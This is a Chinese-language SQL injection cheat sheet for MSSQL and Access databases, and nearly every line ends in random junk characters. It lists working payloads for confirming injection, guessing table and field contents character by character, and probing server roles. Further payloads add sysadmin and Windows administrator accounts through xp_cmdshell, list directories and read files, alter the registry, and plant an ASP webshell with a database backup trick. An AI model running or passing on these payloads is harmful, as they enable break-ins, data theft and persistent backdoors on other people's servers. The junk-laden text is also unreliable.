1.判断是否有注入;and 1=1 ;and 1=2 Bx45yaT
2.初步判断是否是mssql ;and user>0 nDnJ}`k
h$5[04.Q
3.注入参数是字符'and [查询条件] and ''=' |z)s9B;:#i
p]L]=-(qI
4.搜索时没过滤参数的'and [查询条件] and '%25'=' E2DfG^sGV
*}2L4]
5.判断数据库系统 )<5k+O~
q,Gymh;
;and (select count(*) from sysobjects)>0 mssql J~%43!X\K
^ ]9K>}
;and (select count(*) from msysobjects)>0 access ZLjAhd)
+b 6R
n])#<0
6Vnq|;W3Zv
6.猜数据库 ;and (select Count(*) from [数据库名])>0 *2Pr1U
4jXo5SkEJ
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 JQ?`l)4
'K4FS(q
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 <WP@q&^k\
m-t:'B
9.(1)猜字段的ascii值(access) qfsPX6]
:)1"yo\
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 9FDu{4:
Ki><~!L
(2)猜字段的ascii值(mssql) l cl|o3yQ
1(DiV#epG
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 /\%<VBx ?q
>Y>R1b%
10.测试权限结构(mssql) zT>!xGTu7~
xr'1CP
K/W=r
?%5VaxWJ
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- {R_>KE1
oPi>]#X
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ^}+\ 52w
7}&:07U
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- -leX|U}k
.D W>c}1
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 9JFN8Gf*)
8e?/LA%MU
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- -PV1x1|
#I=EYl=Vvi
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Z1 Nep!
JY
;and 1=(select IS_MEMBER('db_owner'));-- wsmgkg
Vg'R=+Wb
T >8P1p@A,
u+V*U5v
11.添加mssql和系统的帐户 D1rVgM
W{;Qi&^ca
;exec master.dbo.sp_addlogin username;-- {VAih-y
;exec master.dbo.sp_password null,username,password;-- AA5G`LiT
M|blg!j;
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- `N\ ^JAGW
-K/+}4i3N
;exec master.dbo.xp_cmdshell 'net user username password | In{5Ek
[e><^R*u
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- g@#he95 }
LhO\a
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 0%bCP/
NQqw|3
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- l>\EkUT
^BF}wQb:j
[-\ Y?3
]r;rAOWVV
12.(1)遍历目录 [S'1OR$FQ\
TOHz3=
;create table dirs(paths varchar(100), id int) k>ErDv8
b/_Zw^DPC
;insert dirs exec master.dbo.xp_dirtree 'c:\' `Moo WG
\9[vi +T
;and (select top 1 paths from dirs)>0 m]?Z_*1
9\ "\7S/Z
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) btg= # u
&%fcGNzJQ
V,KIi_Z
^{"i eVn
(2)遍历目录 eC5*Q=ai,
ZSu.0|0#
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- z)T-<zWO;
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 qy|bOl
{\5(aQ)Vi5
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 }sxs-
+Q+O$-a<
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 P8m0]T.&x
e=9/3?El
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 i\CA6I
nZioFE}
wNi%u{T
OH@"]Nc~
13.mssql中的存储过程 44e]sT.B
k^}[+IFJ
xp_regenumvalues 注册表根键, 子键 -f |/#1
SNqSp.>-U"
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 'bx}[
<PSz`)SN
xp_regread 根键,子键,键值名 Lc~m`=B
!`_f
;exec xp_regread IBNg2Y
TFkG"ev
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ) k/&,J3
0#NMNZ
xp_regwrite 根键,子键, 值名, 值类型, 值 + nR("Il
eP2Q2C8g
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ]-t)wGr
\udB4O
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 P8c_GEna
Y@ v][Q
xp_regdeletevalue 根键,子键,值名 0'd@8]|H
q.J6'v lj/
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 SAnr|<Y/
$tu
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ZSNbf|ldiE
Vu(NP\Wm
6 :4GI
| +;ZC y
14.mssql的backup创建webshell DG;u_6;JR
Xt O..{qU
use model ftY&Q#[
#)S }z+I
create table cmd(str image); mH,s!6j?Vp
4>(K~v5;N
insert into cmd(str) values (''); B<s+I#
Hs)]
backup database model to disk='c:\l.asp'; r)S:=Is5
F,_cci`p
),{3LIr
2M+RA}dX
15.mssql内置函数 (~G*'/)
@zS/J,:v}
;and (select @@version)>0 获得Windows的版本号 W\[E
P{dR
pH|
;and user_name()='dbo' 判断当前系统的连接用户是不是sa OyDoktz$)
=-!jm? st*
;and (select user_name())>0 爆当前系统的连接用户 q5g_5^csM{
HZ<#H3_ix
;and (select db_name())>0 得到当前连接的数据库 NATi)A"TZ
:(enaHn#~
.U(6])%;@
ANPG3^w
16.简洁的webshell :G#%+,
wp:$Tq a$
use model 8TYh&n=r
eQQVfEvS
create table cmd(str image); pJg:afCg
0iSNom}m
insert into cmd(str) values (''); ub 2'|CYw
;7Qe m&
backup database model to disk='g:\wwwtest\l.asp';